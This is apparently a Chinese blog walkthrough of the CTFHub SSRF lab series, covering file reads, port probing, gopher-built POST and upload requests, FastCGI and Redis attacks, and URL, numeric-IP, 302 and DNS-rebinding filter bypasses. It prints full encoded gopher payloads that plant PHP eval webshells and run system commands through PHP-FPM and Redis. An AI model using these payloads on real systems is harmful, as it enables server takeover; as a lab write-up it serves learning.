CTFHUB-SSRF

本来要做SSRF-labs结果发现,那个不是我现在可以接触的东西。。。。。。。
只能把CTFHUB上的SSRF打完了,之前还剩一些,都忘了,再打一遍
还是挺简单的

内网访问

打开环境
image
只有这一串联系题目
image
直接访问
image

伪协议读取文件

打开环境
image
又是一样的情况,联系题目
image
file:///var/www/html/flag.php
直接读取看看,这里就是要对网站结构熟悉
image
直接看源代码
image
他这里没有输出函数,所以不会显示到页面上

端口扫描

打开环境
image
又是一个德行
再看下题目
image
这个相当于帮我减小很多工程量了,不然端口得爆到哪年去
这里直接抓包爆就行了,这里要爆的端口是他的内网端口
直接使用dict协议来探测内网端口
image
但是这里好像不能用dict协议,估计是被ban掉了直接使用ip进行探测也是可以的
可以加上http协议
image

image

POST请求

打开环境
image
6,看下题目
image
这里调用到curl函数
这里发送的还是post请求
所以上面那个url有啥用
应该是从post请求发才对
这里去看看hosts文件
image
访问一下这个ip看看
没啥用
emmmm,再尝试一下get的url看看
http://127.0.0.1/flag.php
image
在尝试访问目录下的flag.php文件的时候发现一个东西
看下源代码这是啥
image
提交一下这个密钥看看
image
这里说只要本地的
抓包改一下
image
把hosts改成127.0.0.1
image
不是哥们阴成啥了
image
还好我留了一手看了下源代码
image
啧,怎么是找到了一个彩蛋的flag
阴成啥了
这里就先去看看index.php和flag.php源代码,读取一下
file:///var/www/html/index.php
image
再看看flag.php的
image
这里实际上就是要修改hosts但是好像直接修改发包不算,这里使用gopher协议来发
先构造包
在post请求中Host、Content-Length、Content-Type必不可少,也就是说我们构造包就只要这三个就够了
get的话是可以不要的
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,会进行第二次 URL解码。

点击查看代码
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=89bf435409b7f62268e807015d084f2a
然后编码url编码一下

image

POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=89bf435409b7f62268e807015d084f2a
在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=89bf435409b7f62268e807015d084f2a
再编码一下
image

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%3A%2520127.0.0.1%3A80%250D%250AContent-Length%3A%252036%250D%250AContent-Type%3A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%3D89bf435409b7f62268e807015d084f2a
直接使用gopher协议发包
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=89bf435409b7f62268e807015d084f2a
image
这里解释一下为什么要加上端口号
因为我们要发送给处理http的web服务
而https默认的端口号是443,http默认的端口号才是80而我们发送的是一个post的http请求
所以要加上端口号
这题环境关过,前后的key不一样

上传文件

打开环境
image
熟悉的感觉,再看下题目
image
上传一个文件到flag.php
先访问一下看看
image
直接传个🐎看看
image
突然发现,不让我传欸
这里本来一开始是想构造gopher协议直接发送
但是这里的包的格式不对,具体长啥样我也不知道,就直接在源代码里面加一个提交的按钮
<input type="submit" name="submit">
image
image
呀被过滤了,那就先把包抓下来构造
image
现在知道包的结构了,等下看看直接发行不行
尝试把代码伪装了一下
image
结果告诉我这个
看来和上题一样,改一下看看
image
果然,直接使用gopher发
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Length%253A%2520369%250D%250A%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf--%250D%250A
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Length%253A%2520369%250D%250A%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A------geckoformboundaryb452397125de03c42ba5135d997c1cbf--%250D%250A
image

FastCGI协议

先来了解一下这个协议
这里附件里面有一篇文章链接
https://blog.csdn.net/mysteryflower/article/details/94386461
这里面把FastCGI协议讲得很清楚的
这里简单总结一下这个协议
FastCGI(如PHP-FPM)处理请求时,会先检查请求的PHP文件在服务器上是否存在。
不存在的话返回404
这里介绍一个工具
Gopherus这个是专门针对gopner协议的一个工具
具体作用看这篇文章
https://blog.csdn.net/weixin_68416970/article/details/139440201
这里已经被明确告知要对FastCGI协议进行攻击
这里有一个检查是否可以进行FastCGI攻击的方法就是看9000端口开没开着
因为PHP-FMP监听9000端口
那可以使用这个工具来生成相应的payload进行攻击
打开环境
image
这里是只找到了index.php这个界面
其他没有找到
image
然后再进行二次编码
image

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
这里不需要进行什么%0A的替换了,直接编码就行
就是这个环境有点堪忧
逆天环境,就是少尝试,直接一把做完,不然就会像我一样,血亏50大洋
image
再看上一级目录
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520/%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
image
看见flag了直接cat
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flag_68e01ee6a51992800e7c14a8d2a9f381%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
image

Redis协议

打开环境
image

image
这里也是直接使用工具来生成,自己写太复杂了
image
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
编码
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%25271%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
直接发
image
显示504但是我们的shell.php已经写进去了
访问一下看看
image
有些无法显示的数据
直接传参看看
image
image
看一下上一级目录
image
直接cat
image
这里来解释一下这个端口号
6379是redis协议默认的一个监听的端口号,在我看来要看能不能进行redis攻击可以看这个端口有没有开放
有些的话还设置了密码用户,这个就需要自己去找
至于为什么使用一句话木马,因为实际上redis是一个数据库
我将这个马存到他数据库里我就可以对他进行操作
当然你也可以传入phpinfo()之类的payload进行攻击,但最方便的就是直接传入一句话木马
<?php phpinfo(); ?>
按理来说是可以的,这里就不再演示了

URL Bypass

题目
image
直接打开环境
image
这里用到一个@绕过的方法
这个最终的有效url是@后面的
我们这里可以拿来直接实验一下

image

image
这里可以看见可以
直接用
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
image

数字IP Bypass

题目
image
打开环境
这里可以看到十进制的被ban了那么可以换成八进制的来做十六进制也行
八进制:0177.000.000.001 十进制:127.0.0.1 十六进制:0x7f000001
这里解释一下为什么可以使用其他进制来做
这种多进制表示的底层机制是数值等价性原理​:同一个数值在不同进制下有不同的表现形式,但在计算机内存中的二进制存储完全相同。
这里直接访问
因为实际上ip地址是一个32位的二进制数,最后到识别的时候都会变成二进制,所以可以直接使用来进行绕过
?url=0177.000.000.001/flag.php
image

302跳转 Bypass

题目
image
打开环境
image
直接先访问一手flag.php看看啥情况
image
这里显示被ban掉了
这里如果要使用到302跳转的话,就需要一个公网IP
这里就需要有一个自己的服务器
<?php header("Location:http://127.0.0.1/flag.php");
这里直接跳转就可以了
http://公网ip(或者域名)/302.php
image
然后看wp的时候发现还有另外的做法
先看下indexphp的源码
image
发现了黑名单,这里可以直接使用localhost来绕过
image
所以这里也可以使用进制来绕过
image

DNS重绑定 Bypass

附件里面的文章
https://zhuanlan.zhihu.com/p/89426041
这篇文章看完大致也了解了DNS Rebinding漏洞
实际上就是在TTL值缩短,让同一个域名来访问两个不同的IP从而进行恶意攻击
这里打开环境
image
一样的,直接访问一手flag.php看看啥情况
image
看下302还有没有用
image
没有用,看下index.php的源代码
image
一样的代码,这里我们看看之前的有没有用
发现都没有用
https://lock.cmpxchg8b.com/rebinder.html
这里有一个针对DNS重绑定的网站
image
因为127是一个回环网段,在大多数情况下访问到的都是localhosts
所以这里可以直接绑定127.0.0.1和127.0.0.2
image
直接把网址粘贴过来访问flag.php
7f000001.7f000002.rbndr.us/flag.php
image
这里也有源码提供就在网址上,为了断网也能用建议还是自己本地部署一个
image
直接打开html文件就能用了
image
这里再测试一下
image
对的,可以直接使用

posted @ 2025-06-03 23:19  crook666  阅读(26)  评论(0)    收藏  举报